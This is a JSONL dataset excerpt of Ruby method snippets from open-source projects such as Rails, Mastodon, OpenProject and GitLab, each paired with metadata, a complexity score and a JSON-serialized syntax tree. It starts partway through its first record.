",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change_table\",{\"type\":\"sym\",\"children\":[\"work_package_journals\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"column\",{\"type\":\"sym\",\"children\":[\"project_phase_definition_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"120a8ebc-8768-4430-8a12-e7d608bdd940"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/hooks.rb","start_line":553,"raw_source":"def ensure_hooks_initialized_for(position, scope)\n          if position == :before\n            if scope == :example\n              @before_example_hooks ||= @filterable_item_repo_class.new(:all?)\n            else\n              @before_context_hooks ||= @filterable_item_repo_class.new(:all?)\n            end\n          elsif position == :after\n            if scope == :example\n              @after_example_hooks ||= @filterable_item_repo_class.new(:all?)\n            else\n              @after_context_hooks ||= @filterable_item_repo_class.new(:all?)\n            end\n          else # around\n            @around_example_hooks ||= @filterable_item_repo_class.new(:all?)\n          end\n        end","complexity_score":21.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_hooks_initialized_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"position\"]},{\"type\":\"arg\",\"children\":[\"scope\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"position\"]},\"==\",{\"type\":\"sym\",\"children\":[\"before\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"==\",{\"type\":\"sym\",\"children\":[\"example\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@before_example_hooks\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filterable_item_repo_class\"]},\"new\",{\"type\":\"sym\",\"children\":[\"all?\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@before_context_hooks\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filterable_item_repo_class\"]},\"new\",{\"type\":\"sym\",\"children\":[\"all?\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"position\"]},\"==\",{\"type\":\"sym\",\"children\":[\"after\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"==\",{\"type\":\"sym\",\"children\":[\"example\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@after_example_hooks\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filterable_item_repo_class\"]},\"new\",{\"type\":\"sym\",\"children\":[\"all?\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@after_context_hooks\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filterable_item_repo_class\"]},\"new\",{\"type\":\"sym\",\"children\":[\"all?\"]}]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@around_example_hooks\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filterable_item_repo_class\"]},\"new\",{\"type\":\"sym\",\"children\":[\"all?\"]}]}]}]}]}]}","id":"9e3f1aa6-f41b-4e6f-b5b4-c7b6aaeac9c8"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/platform/digitals_controller.rb","start_line":16,"raw_source":"def resource_serializer\n            Spree::Api::Dependencies.platform_digital_serializer.constantize\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resource_serializer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Api\"]},\"Dependencies\"]},\"platform_digital_serializer\"]},\"constantize\"]}]}","id":"7b3509e9-cfc3-4325-8037-62164492ee0e"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/variable_force.rb","start_line":363,"raw_source":"def reference_assignments(loop_assignments, loop_node)\n        # If inside a branching statement, mark all as referenced.\n        # Otherwise, mark only the last assignment as referenced.\n        # Note that `rescue` must be considered as branching because of\n        # the `retry` keyword.\n        loop_assignments.each do |assignment|\n          assignment.reference!(loop_node) if assignment.node.each_ancestor(*BRANCH_NODES).any?\n        end\n        loop_assignments.last&.reference!(loop_node)\n      end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"reference_assignments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"loop_assignments\"]},{\"type\":\"arg\",\"children\":[\"loop_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loop_assignments\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"assignment\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assignment\"]},\"node\"]},\"each_ancestor\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BRANCH_NODES\"]}]}]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assignment\"]},\"reference!\",{\"type\":\"lvar\",\"children\":[\"loop_node\"]}]},null]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loop_assignments\"]},\"last\"]},\"reference!\",{\"type\":\"lvar\",\"children\":[\"loop_node\"]}]}]}]}","id":"710311e0-26c5-47d4-93d7-59c978a52cae"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/policies/instance_moderation_note_policy.rb","start_line":14,"raw_source":"def owner?\n    record.account_id == current_account&.id\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"owner?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"account_id\"]},\"==\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_account\"]},\"id\"]}]}]}","id":"4f85bafb-0cc2-4d77-86ff-23ebc3d5a42e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_packages/scopes/relatable.rb","start_line":255,"raw_source":"def non_relatable_paths_sql(work_package, relation_type, ignored_relation: nil)\n        <<~SQL.squish\n          related (id,\n                   from_hierarchy,\n                   from_from_id,\n                   from_to_id,\n                   includes_from_relation,\n                   includes_to_relation,\n                   includes_hierarchy) AS (\n\n              #{non_recursive_relatable_values(work_package, relation_type)}\n\n            UNION\n\n              SELECT\n                relations.id,\n                relations.from_hierarchy,\n                relations.from_from_id,\n                relations.from_to_id,\n                relations.includes_from_relation,\n                relations.includes_to_relation,\n                relations.includes_hierarchy\n              FROM\n                related\n              JOIN LATERAL (\n                #{joined_existing_connections(relation_type, ignored_relation:)}\n              ) relations ON 1 = 1\n          )\n        SQL\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"non_relatable_paths_sql\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]},{\"type\":\"arg\",\"children\":[\"relation_type\"]},{\"type\":\"kwoptarg\",\"children\":[\"ignored_relation\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"related (id,\\n\"]},{\"type\":\"str\",\"children\":[\"         from_hierarchy,\\n\"]},{\"type\":\"str\",\"children\":[\"         from_from_id,\\n\"]},{\"type\":\"str\",\"children\":[\"         from_to_id,\\n\"]},{\"type\":\"str\",\"children\":[\"         includes_from_relation,\\n\"]},{\"type\":\"str\",\"children\":[\"         includes_to_relation,\\n\"]},{\"type\":\"str\",\"children\":[\"         includes_hierarchy) AS (\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"non_recursive_relatable_values\",{\"type\":\"lvar\",\"children\":[\"work_package\"]},{\"type\":\"lvar\",\"children\":[\"relation_type\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  UNION\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"      relations.id,\\n\"]},{\"type\":\"str\",\"children\":[\"      relations.from_hierarchy,\\n\"]},{\"type\":\"str\",\"children\":[\"      relations.from_from_id,\\n\"]},{\"type\":\"str\",\"children\":[\"      relations.from_to_id,\\n\"]},{\"type\":\"str\",\"children\":[\"      relations.includes_from_relation,\\n\"]},{\"type\":\"str\",\"children\":[\"      relations.includes_to_relation,\\n\"]},{\"type\":\"str\",\"children\":[\"      relations.includes_hierarchy\\n\"]},{\"type\":\"str\",\"children\":[\"    FROM\\n\"]},{\"type\":\"str\",\"children\":[\"      related\\n\"]},{\"type\":\"str\",\"children\":[\"    JOIN LATERAL (\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"joined_existing_connections\",{\"type\":\"lvar\",\"children\":[\"relation_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ignored_relation\"]},{\"type\":\"lvar\",\"children\":[\"ignored_relation\"]}]}]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    ) relations ON 1 = 1\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]}]},\"squish\"]}]}","id":"24e8b887-3db4-4a1a-84e7-6b6f18918e95"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/principals/filters/mentionable_on_work_package_filter.rb","start_line":91,"raw_source":"def project_members\n    Member.of_project(projects)\n          .where(entity: nil)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"project_members\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Member\"]},\"of_project\",{\"type\":\"send\",\"children\":[null,\"projects\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"entity\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"466e0562-4095-4972-b6d1-9a8c36f157f6"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/text_formatting/matchers/link_handlers/colon_separator.rb","start_line":163,"raw_source":"def render_meeting\n        scope = project ? project.meetings : Meeting\n        meeting = scope\n          .where([\"LOWER(title) = :s\", { s: oid.downcase }])\n          .first\n\n        if meeting&.visible?(User.current)\n          link_to meeting.title,\n                  { only_path: context[:only_path], controller: \"/meetings\", action: \"show\", id: meeting.id },\n                  class: \"meeting\"\n        end\n      end","complexity_score":21.3,"ast_json":"{\"type\":\"def\",\"children\":[\"render_meeting\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"meetings\"]},{\"type\":\"const\",\"children\":[null,\"Meeting\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"meeting\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"where\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"LOWER(title) = :s\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oid\"]},\"downcase\"]}]}]}]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meeting\"]},\"visible?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]},{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meeting\"]},\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"only_path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"/meetings\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"show\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meeting\"]},\"id\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"meeting\"]}]}]}]},null]}]}]}","id":"6aca797d-e8dd-42f4-b23b-fafb621abeb7"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/presenters/spree/filters/price_range_presenter.rb","start_line":24,"raw_source":"def to_s\n        \"#{min_price} - #{max_price}\"\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"to_s\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"min_price\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"max_price\"]}]}]}]}","id":"b79e1b00-77d0-4b44-a72a-86e9ed66e062"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20220304195405_migrate_hide_network_preference.rb","start_line":38,"raw_source":"def down\n    Account.local.where(hide_collections: true).includes(:user).find_each do |account|\n      ApplicationRecord.transaction do\n        Setting.create(thing_type: 'User', thing_id: account.user.id, var: 'hide_network', value: account.hide_collections?)\n        account.update(hide_collections: nil)\n      end\n    end\n  end","complexity_score":15.7,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"local\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hide_collections\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"user\"]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationRecord\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"thing_type\"]},{\"type\":\"str\",\"children\":[\"User\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"thing_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"var\"]},{\"type\":\"str\",\"children\":[\"hide_network\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"hide_collections?\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hide_collections\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]}]}","id":"69a041d9-f86b-460d-a8c8-0c6480184759"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/users/project_authorization_cache.rb","start_line":52,"raw_source":"def cached?(action)\n    projects_by_actions[normalized_permission_name(action)]\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cached?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"projects_by_actions\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"normalized_permission_name\",{\"type\":\"lvar\",\"children\":[\"action\"]}]}]}]}","id":"1d9655f1-74ce-4aa8-9d8f-7b24073c36f0"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/cache.rb","start_line":1152,"raw_source":"def expires_in=(expires_in)\n        @options.delete(:expires_at)\n        @options[:expires_in] = expires_in\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"expires_in=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"expires_in\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"expires_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"lvar\",\"children\":[\"expires_in\"]}]}]}]}","id":"61887afc-a2b3-49af-8ab5-044bb6ab25f7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/user.rb","start_line":1887,"raw_source":"def verified_emails(include_private_email: true)\n    verified_emails = []\n    verified_emails << email if primary_email_verified?\n    verified_emails << private_commit_email if include_private_email\n    verified_emails.concat(\n      emails.loaded? ? emails.select(&:confirmed?).pluck(:email) : emails.confirmed.pluck(:email)\n    )\n    verified_emails.uniq\n  end","complexity_score":25.3,"ast_json":"{\"type\":\"def\",\"children\":[\"verified_emails\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"include_private_email\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"verified_emails\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"primary_email_verified?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verified_emails\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"email\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"include_private_email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verified_emails\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"private_commit_email\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verified_emails\"]},\"concat\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"emails\"]},\"loaded?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"emails\"]},\"select\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"confirmed?\"]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"email\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"emails\"]},\"confirmed\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"email\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verified_emails\"]},\"uniq\"]}]}]}","id":"c11646f9-4fe3-4658-bf76-2155ecb0a7ec"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/frameit/lib/frameit/dependency_checker.rb","start_line":11,"raw_source":"def self.check_image_magick\n      unless `which convert`.include?(\"convert\")\n        UI.error('#############################################################')\n        UI.error(\"# You have to install the ImageMagick to use FrameIt\")\n        UI.error(\"# Install it using 'brew update && brew install imagemagick'\")\n        UI.error(\"# If you don't have homebrew: http://brew.sh\")\n        UI.error('#############################################################')\n        UI.user_error!(\"Install ImageMagick and start frameit again!\")\n      end\n    end","complexity_score":9.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"check_image_magick\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"which convert\"]}]},\"include?\",{\"type\":\"str\",\"children\":[\"convert\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"str\",\"children\":[\"#############################################################\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"str\",\"children\":[\"# You have to install the ImageMagick to use FrameIt\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"str\",\"children\":[\"# Install it using 'brew update && brew install imagemagick'\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"str\",\"children\":[\"# If you don't have homebrew: http://brew.sh\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"str\",\"children\":[\"#############################################################\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"Install ImageMagick and start frameit again!\"]}]}]}]}]}","id":"cf25ba04-7271-4999-9dcf-13f178bc94c9"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/helpers/admin/settings_helper.rb","start_line":23,"raw_source":"def login_activity_method(activity)\n    content_tag(\n      :span,\n      login_activity_method_string(activity),\n      class: 'target'\n    )\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"login_activity_method\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"activity\"]}]},{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"span\"]},{\"type\":\"send\",\"children\":[null,\"login_activity_method_string\",{\"type\":\"lvar\",\"children\":[\"activity\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"target\"]}]}]}]}]}","id":"ebee8d79-861c-4220-a3c4-7000408d852d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/command_recorder_test.rb","start_line":365,"raw_source":"def test_invert_remove_index_with_no_column\n        assert_raises(ActiveRecord::IrreversibleMigration) do\n          @recorder.inverse_of :remove_index, [:table, name: \"new_index\"]\n        end\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_invert_remove_index_with_no_column\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"IrreversibleMigration\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@recorder\"]},\"inverse_of\",{\"type\":\"sym\",\"children\":[\"remove_index\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"table\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"new_index\"]}]}]}]}]}]}]}","id":"186ff520-3cd3-4e15-9d31-758330e20e23"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/presenters/instance_presenter.rb","start_line":57,"raw_source":"def active_user_count(num_weeks = 4)\n    Rails.cache.fetch(\"active_user_count/#{num_weeks}\") { ActivityTracker.new('activity:logins', :unique).sum(num_weeks.weeks.ago) }\n  end","complexity_score":9.65,"ast_json":"{\"type\":\"def\",\"children\":[\"active_user_count\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"num_weeks\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"fetch\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"active_user_count/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"num_weeks\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityTracker\"]},\"new\",{\"type\":\"str\",\"children\":[\"activity:logins\"]},{\"type\":\"sym\",\"children\":[\"unique\"]}]},\"sum\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"num_weeks\"]},\"weeks\"]},\"ago\"]}]}]}]}","id":"f99b3053-6a12-445b-b68a-fd8a3b79b2bc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/ansi2json/state.rb","start_line":27,"raw_source":"def encode\n          json = {\n            offset: @last_line_offset,\n            style: @current_line.style.to_h,\n            open_sections: @open_sections\n          }.to_json\n\n          encoded = Base64.urlsafe_encode64(json, padding: false)\n\n          encoded + SEPARATOR + sign(encoded)\n        end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"encode\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"ivar\",\"children\":[\"@last_line_offset\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"style\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_line\"]},\"style\"]},\"to_h\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"open_sections\"]},{\"type\":\"ivar\",\"children\":[\"@open_sections\"]}]}]},\"to_json\"]}]},{\"type\":\"lvasgn\",\"children\":[\"encoded\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"urlsafe_encode64\",{\"type\":\"lvar\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"padding\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoded\"]},\"+\",{\"type\":\"const\",\"children\":[null,\"SEPARATOR\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"sign\",{\"type\":\"lvar\",\"children\":[\"encoded\"]}]}]}]}]}","id":"091e7b2c-f383-46c5-a21e-f9798c563b80"}
